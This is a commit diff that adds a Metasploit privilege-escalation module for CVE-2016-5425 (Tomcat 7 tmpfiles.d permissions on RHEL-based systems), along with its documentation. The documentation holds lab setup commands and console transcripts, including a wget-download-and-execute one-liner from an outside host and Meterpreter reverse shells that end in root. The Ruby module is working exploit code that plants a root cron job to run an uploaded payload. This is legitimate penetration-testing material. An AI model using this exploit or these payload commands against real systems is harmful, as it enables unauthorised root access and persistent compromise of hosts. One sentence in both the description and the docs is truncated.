Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425)
This commit is contained in:
@@ -0,0 +1,148 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in RedHat based systems where
|
||||
improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf`
|
||||
for Apache Tomcat versions before 7.0.54-8. This may also work against
|
||||
|
||||
The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage
|
||||
temporary files including their creation.
|
||||
|
||||
With this weak permission, we're able to inject commands into `systemd-tmpfiles`
|
||||
service to write a cron job to execute our payload.
|
||||
|
||||
`systemd-tmpfiles` is executed by default on boot on RedHat-based systems
|
||||
through `systemd-tmpfiles-setup.service`. Depending on the system in use,
|
||||
the execution of `systemd-tmpfiles` could also be triggered by other
|
||||
services, cronjobs, startup scripts etc.
|
||||
|
||||
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
|
||||
|
||||
### Install
|
||||
|
||||
This will install Tomcat 7 (7.0.54-3) on Fedora 21.
|
||||
|
||||
We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc
|
||||
easier.
|
||||
|
||||
```
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm
|
||||
rpm -i *.rpm
|
||||
sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd
|
||||
```
|
||||
|
||||
You can now `su tomcat` and get your starter shell.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get an initial shell as the `tomcat` user
|
||||
4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `run`
|
||||
7. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory where we can write and execute files. Defaults to `/tmp`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tomcat 7 (7.0.54-3) on Fedora 21
|
||||
|
||||
Initial shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8080/fGd5wnh85
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > jobs -K
|
||||
Stopping all jobs...
|
||||
|
||||
[*] Server stopped.
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: tomcat
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.domain
|
||||
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3
|
||||
[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt
|
||||
[*] Uploading Payload to /tmp/.4ptbf6f4fW
|
||||
[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ...
|
||||
[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[*] Creating cron job in /etc/cron.d/grPwZ
|
||||
[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)
|
||||
[*] Sleeping for 2 seconds before attempting again
|
||||
[*] Sleeping for 4 seconds before attempting again
|
||||
[*] Sleeping for 8 seconds before attempting again
|
||||
[-] /etc/cron.d/grPwZ not found, checking in 10 seconds
|
||||
[*] Waiting on cron to kick the payload (~1 minute)
|
||||
[+] Deleted /tmp/.4ptbf6f4fW
|
||||
[+] Deleted /etc/cron.d/grPwZ
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,178 @@
|
||||
###
|
||||
#
|
||||
# This exploit sample shows how an exploit module could be written to exploit
|
||||
# a bug in a command on a linux computer for priv esc.
|
||||
#
|
||||
###
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Retry
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Linux::Compile
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in RedHat based systems where
|
||||
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
|
||||
for Apache Tomcat versions before 7.0.54-8. This may also work against
|
||||
|
||||
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
|
||||
temporary files including their creation.
|
||||
|
||||
With this weak permission, we're able to inject commands into systemd-tmpfiles
|
||||
service to write a cron job to execute our payload.
|
||||
|
||||
systemd-tmpfiles is executed by default on boot on RedHat-based systems
|
||||
through systemd-tmpfiles-setup.service. Depending on the system in use,
|
||||
the execution of systemd-tmpfiles could also be triggered by other
|
||||
services, cronjobs, startup scripts etc.
|
||||
|
||||
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 1800, # 30min
|
||||
'payload' => 'linux/x64/meterpreter_reverse_tcp'
|
||||
},
|
||||
'References' => [
|
||||
['EDB', '40488' ],
|
||||
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
|
||||
['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
|
||||
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
|
||||
['CVE', '2016-5425']
|
||||
],
|
||||
'DisclosureDate' => '2016-10-10',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
|
||||
]
|
||||
end
|
||||
|
||||
# Simplify pulling the writable directory variable
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def tomcat_conf
|
||||
'/usr/lib/tmpfiles.d/tomcat.conf'
|
||||
end
|
||||
|
||||
def suid?(file)
|
||||
get_suid_files(file).include? file
|
||||
end
|
||||
|
||||
def check
|
||||
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
|
||||
if package.nil? || package.empty?
|
||||
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
|
||||
end
|
||||
|
||||
package = package.sub('tomcat-', '').strip
|
||||
# fedora based cleanup
|
||||
package = package.sub(/\.fc\d\d\.noarch/, '')
|
||||
# rhel/centos based cleanup
|
||||
package = package.sub(/\.el\d_\d\.noarch/, '')
|
||||
package = Rex::Version.new(package)
|
||||
|
||||
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
|
||||
# only 7 is effected, so we're going to go off their write-up.
|
||||
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
|
||||
return CheckCode::Appears("Vulnerable app version detected: #{package}")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Check if we're already root
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
unless writable? tomcat_conf
|
||||
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
|
||||
end
|
||||
|
||||
vprint_status("Creating backup of #{tomcat_conf}")
|
||||
@tomcat_conf_content = read_file(tomcat_conf)
|
||||
path = store_loot(
|
||||
tomcat_conf,
|
||||
'text/plain',
|
||||
rhost,
|
||||
@tomcat_conf_content,
|
||||
'tomcat.conf'
|
||||
)
|
||||
print_good("Original #{tomcat_conf} backed up to #{path}")
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
vprint_status("Uploading Payload to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
register_file_for_cleanup(payload_path)
|
||||
|
||||
# write in our payload execution
|
||||
vprint_status("Writing permission elevation into #{tomcat_conf}")
|
||||
|
||||
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
|
||||
print_status("Creating cron job in #{cron_job}")
|
||||
# The POC shows 2 options, a cron answer, and copy bash answer.
|
||||
# Initially I attempted to copy our payload, set suid and root owner
|
||||
# however it seemed to need 2 service restart to apply all the permissions.
|
||||
# I never figured out why it was like that, even chaining copying bash in, then
|
||||
# launching the payload from the bash instance etc. We opt for the cron
|
||||
# which may take 1 additional minute, and rely on cron, but is much more stable
|
||||
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
|
||||
register_file_for_cleanup(cron_job)
|
||||
|
||||
# we now need systemd-tmpfiles to restart
|
||||
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
|
||||
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
|
||||
file? cron_job
|
||||
end
|
||||
|
||||
unless succeeded
|
||||
print_error("#{cron_job} not found, exploit aborted")
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Waiting on cron to execute the payload (~1 minute)')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
unless @tomcat_conf_content.nil?
|
||||
write_file(tomcat_conf, @tomcat_conf_content)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user